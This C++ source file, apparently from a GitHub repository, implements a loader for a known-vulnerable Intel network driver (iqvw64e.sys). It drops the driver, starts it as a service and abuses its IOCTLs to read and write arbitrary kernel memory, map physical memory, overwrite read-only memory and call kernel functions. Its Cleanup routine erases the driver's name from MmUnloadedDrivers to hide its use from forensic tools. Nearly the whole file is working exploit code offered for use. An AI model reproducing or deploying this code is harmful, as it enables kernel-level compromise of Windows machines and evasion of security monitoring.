-
Notifications
You must be signed in to change notification settings - Fork 1
/
intel_driver.cpp
358 lines (251 loc) · 11.7 KB
/
intel_driver.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
#include "intel_driver.hpp"
bool intel_driver::Iqvw64e::Load()
{
std::cout << "[<] Loading vulnerable driver" << std::endl;
char temp_directory[MAX_PATH] = { 0 };
const uint32_t get_temp_path_ret = GetTempPathA(sizeof(temp_directory), temp_directory);
if (!get_temp_path_ret || get_temp_path_ret > MAX_PATH)
{
std::cout << "[-] Failed to get temp path" << std::endl;
return false;
}
this->m_driver_path = std::string(temp_directory) + "\\" + driver_name;
if (!utils::CreateFileFromMemory(this->m_driver_path, reinterpret_cast<const char*>(intel_driver_resource::driver), sizeof(intel_driver_resource::driver)))
{
std::cout << "[-] Failed to create vulnerable driver file" << std::endl;
return false;
}
if (!service::RegisterAndStart(driver_name, this->m_driver_path))
{
std::cout << "[-] Failed to register and start service for the vulnerable driver" << std::endl;
return false;
}
this->m_device_handle = CreateFileW(L"\\\\.\\Nal", GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (this->m_device_handle == INVALID_HANDLE_VALUE)
{
std::cout << "[-] Failed to get handle to the vulnerable driver" << std::endl;
return false;
}
return true;
}
void intel_driver::Iqvw64e::Unload()
{
std::cout << "[<] Unloading vulnerable driver" << std::endl;
this->Cleanup();
CloseHandle(this->m_device_handle);
service::StopAndRemove(driver_name);
std::remove(this->m_driver_path.c_str());
}
bool intel_driver::Iqvw64e::CpyMemory(const uint64_t destination, const uint64_t source, const uint64_t size)
{
if (!destination || !source || !size)
return 0;
COPY_MEMORY_BUFFER_INFO copy_memory_buffer = { 0 };
copy_memory_buffer.case_number = 0x33;
copy_memory_buffer.source = source;
copy_memory_buffer.destination = destination;
copy_memory_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(this->m_device_handle, ioctl1, ©_memory_buffer, sizeof(copy_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
}
bool intel_driver::Iqvw64e::SetMemory(const uint64_t address, const uint32_t value, const uint64_t size)
{
if (!address || !size)
return 0;
FILL_MEMORY_BUFFER_INFO fill_memory_buffer = { 0 };
fill_memory_buffer.case_number = 0x30;
fill_memory_buffer.destination = address;
fill_memory_buffer.value = value;
fill_memory_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(this->m_device_handle, ioctl1, &fill_memory_buffer, sizeof(fill_memory_buffer), nullptr, 0, &bytes_returned, nullptr);
}
bool intel_driver::Iqvw64e::GetPhysicalAddress(const uint64_t address, uint64_t* out_physical_address)
{
if (!address)
return 0;
GET_PHYS_ADDRESS_BUFFER_INFO get_phys_address_buffer = { 0 };
get_phys_address_buffer.case_number = 0x25;
get_phys_address_buffer.address_to_translate = address;
DWORD bytes_returned = 0;
if (!DeviceIoControl(this->m_device_handle, ioctl1, &get_phys_address_buffer, sizeof(get_phys_address_buffer), nullptr, 0, &bytes_returned, nullptr))
return false;
*out_physical_address = get_phys_address_buffer.return_physical_address;
return true;
}
uint64_t intel_driver::Iqvw64e::MapIoSpace(const uint64_t physical_address, const uint32_t size)
{
if (!physical_address || !size)
return 0;
MAP_IO_SPACE_BUFFER_INFO map_io_space_buffer = { 0 };
map_io_space_buffer.case_number = 0x19;
map_io_space_buffer.physical_address_to_map = physical_address;
map_io_space_buffer.size = size;
DWORD bytes_returned = 0;
if (!DeviceIoControl(this->m_device_handle, ioctl1, &map_io_space_buffer, sizeof(map_io_space_buffer), nullptr, 0, &bytes_returned, nullptr))
return 0;
return map_io_space_buffer.return_virtual_address;
}
bool intel_driver::Iqvw64e::UnmapIoSpace(const uint64_t address, const uint32_t size)
{
if (!address || !size)
return false;
UNMAP_IO_SPACE_BUFFER_INFO unmap_io_space_buffer = { 0 };
unmap_io_space_buffer.case_number = 0x1A;
unmap_io_space_buffer.virt_address = address;
unmap_io_space_buffer.number_of_bytes = size;
DWORD bytes_returned = 0;
return DeviceIoControl(this->m_device_handle, ioctl1, &unmap_io_space_buffer, sizeof(unmap_io_space_buffer), nullptr, 0, &bytes_returned, nullptr);
}
bool intel_driver::Iqvw64e::ReadMemory(const uint64_t address, void* buffer, const uint64_t size)
{
return this->CpyMemory(reinterpret_cast<uint64_t>(buffer), address, size);
}
bool intel_driver::Iqvw64e::WriteMemory(const uint64_t address, void* buffer, const uint64_t size)
{
return this->CpyMemory(address, reinterpret_cast<uint64_t>(buffer), size);
}
uint64_t intel_driver::Iqvw64e::AllocatePool(const nt::POOL_TYPE pool_type, const uint64_t size)
{
if (!size)
return 0;
static uint64_t kernel_ExAllocatePoolWithTag = 0;
if (!kernel_ExAllocatePoolWithTag)
kernel_ExAllocatePoolWithTag = this->GetKernelModuleExport(utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExAllocatePool");
uint64_t aligned_page_size = nt::PAGE_SIZE;
if (!(size % nt::PAGE_SIZE))
aligned_page_size = size;
else
aligned_page_size = (size / nt::PAGE_SIZE) * nt::PAGE_SIZE + nt::PAGE_SIZE;
uint64_t allocated_pool = 0;
this->CallKernelFunction(&allocated_pool, kernel_ExAllocatePoolWithTag, pool_type, aligned_page_size);
return allocated_pool;
}
bool intel_driver::Iqvw64e::FreePool(const uint64_t address)
{
if (!address)
return 0;
static uint64_t kernel_ExFreePoolWithTag = 0;
if (!kernel_ExFreePoolWithTag)
kernel_ExFreePoolWithTag = this->GetKernelModuleExport(utils::GetKernelModuleAddress("ntoskrnl.exe"), "ExFreePool");
return this->CallKernelFunction<void>(nullptr, kernel_ExFreePoolWithTag, address);
}
uint64_t intel_driver::Iqvw64e::GetKernelModuleExport(const uint64_t kernel_module_base, const std::string &function_name)
{
if (!kernel_module_base)
return 0;
IMAGE_DOS_HEADER dos_header = { 0 };
IMAGE_NT_HEADERS64 nt_headers = { 0 };
if (!this->ReadMemory(kernel_module_base, &dos_header, sizeof(dos_header)) || dos_header.e_magic != IMAGE_DOS_SIGNATURE ||
!this->ReadMemory(kernel_module_base + dos_header.e_lfanew, &nt_headers, sizeof(nt_headers)) || nt_headers.Signature != IMAGE_NT_SIGNATURE)
return 0;
const auto export_base = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
const auto export_base_size = nt_headers.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
if (!export_base || !export_base_size)
return 0;
const auto export_data = reinterpret_cast<PIMAGE_EXPORT_DIRECTORY>(VirtualAlloc(nullptr, export_base_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE));
if (!this->ReadMemory(kernel_module_base + export_base, export_data, export_base_size))
{
VirtualFree(export_data, 0, MEM_RELEASE);
return 0;
}
const auto delta = reinterpret_cast<uint64_t>(export_data) - export_base;
const auto name_table = reinterpret_cast<uint32_t*>(export_data->AddressOfNames + delta);
const auto ordinal_table = reinterpret_cast<uint16_t*>(export_data->AddressOfNameOrdinals + delta);
const auto function_table = reinterpret_cast<uint32_t*>(export_data->AddressOfFunctions + delta);
for (auto i = 0u; i < export_data->NumberOfNames; ++i)
{
const std::string current_function_name = std::string(reinterpret_cast<char*>(name_table[i] + delta));
if (_stricmp(current_function_name.c_str(), function_name.c_str()))
continue;
const auto current_ordinal = ordinal_table[i];
const auto current_address = kernel_module_base + function_table[current_ordinal];
if (current_address >= kernel_module_base + export_base && current_address <= kernel_module_base + export_base + export_base_size)
{
char buffer[MAX_PATH] = { 0 };
this->ReadMemory(current_address, buffer, sizeof(buffer));
const std::string forwaded_name(buffer);
const std::string forwaded_module_name = forwaded_name.substr(0, forwaded_name.find(".")) + ".dll";
const std::string forwaded_function_name = forwaded_name.substr(forwaded_name.find(".") + 1, forwaded_function_name.npos);
VirtualFree(export_data, 0, MEM_RELEASE);
return this->GetKernelModuleExport(utils::GetKernelModuleAddress(forwaded_module_name), forwaded_function_name);
}
VirtualFree(export_data, 0, MEM_RELEASE);
return current_address;
}
VirtualFree(export_data, 0, MEM_RELEASE);
return 0;
}
bool intel_driver::Iqvw64e::WriteToReadOnlyMemory(const uint64_t address, void* buffer, const uint32_t size)
{
if (!address || !buffer || !size)
return false;
uint64_t physical_address = 0;
if (!this->GetPhysicalAddress(address, &physical_address))
return false;
const uint64_t mapped_physical_memory = this->MapIoSpace(physical_address, size);
if (!mapped_physical_memory)
return false;
bool result = this->WriteMemory(mapped_physical_memory, buffer, size);
if (!this->UnmapIoSpace(mapped_physical_memory, size))
std::cout << "[!] Failed to unmap IO space of physical address 0x" << reinterpret_cast<void*>(physical_address) << std::endl;
return result;
}
bool intel_driver::Iqvw64e::Cleanup() // Prevents system from listing the vulnerable driver in MmUnloadedDrivers
{
ULONG buffer_size = 0;
void* buffer = nullptr;
NTSTATUS status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
while (status == nt::STATUS_INFO_LENGTH_MISMATCH)
{
VirtualFree(buffer, 0, MEM_RELEASE);
buffer = VirtualAlloc(nullptr, buffer_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
status = NtQuerySystemInformation(static_cast<SYSTEM_INFORMATION_CLASS>(nt::SystemExtendedHandleInformation), buffer, buffer_size, &buffer_size);
}
if (!NT_SUCCESS(status))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return false;
}
uint64_t object = 0;
auto system_handle_inforamtion = static_cast<nt::PSYSTEM_HANDLE_INFORMATION_EX>(buffer);
for (auto i = 0u; i < system_handle_inforamtion->HandleCount; ++i)
{
const nt::SYSTEM_HANDLE current_system_handle = system_handle_inforamtion->Handles[i];
if (current_system_handle.UniqueProcessId != reinterpret_cast<HANDLE>(static_cast<uint64_t>(GetCurrentProcessId())))
continue;
if (current_system_handle.HandleValue == this->m_device_handle)
{
object = reinterpret_cast<uint64_t>(current_system_handle.Object);
break;
}
}
VirtualFree(buffer, 0, MEM_RELEASE);
if (!object)
return false;
uint64_t device_object = 0;
if (!this->ReadMemory(object + 0x8, &device_object, sizeof(device_object)))
return false;
//std::cout << "[+] device object: 0x" << reinterpret_cast<void*>(device_object) << std::endl;
uint64_t driver_object = 0;
if (!this->ReadMemory(device_object + 0x8, &driver_object, sizeof(driver_object)))
return false;
//std::cout << "[+] driver object: 0x" << reinterpret_cast<void*>(driver_object) << std::endl;
uint64_t driver_section = 0;
if (!this->ReadMemory(driver_object + 0x28, &driver_section, sizeof(driver_section)))
return false;
UNICODE_STRING us_driver_base_dll_name = { 0 };
if (!this->ReadMemory(driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)))
return false;
wchar_t wname[MAX_PATH] = { 0 };
if (!this->ReadMemory(reinterpret_cast<uint64_t>(us_driver_base_dll_name.Buffer), wname, us_driver_base_dll_name.Length))
return false;
if (!wname || !wcslen(wname))
return false;
if (_stricmp(driver_name.c_str(), CW2A(wname)))
return false;
us_driver_base_dll_name.Length = 0;
if (!this->WriteMemory(driver_section + 0x58, &us_driver_base_dll_name, sizeof(us_driver_base_dll_name)))
return false;
return true;
}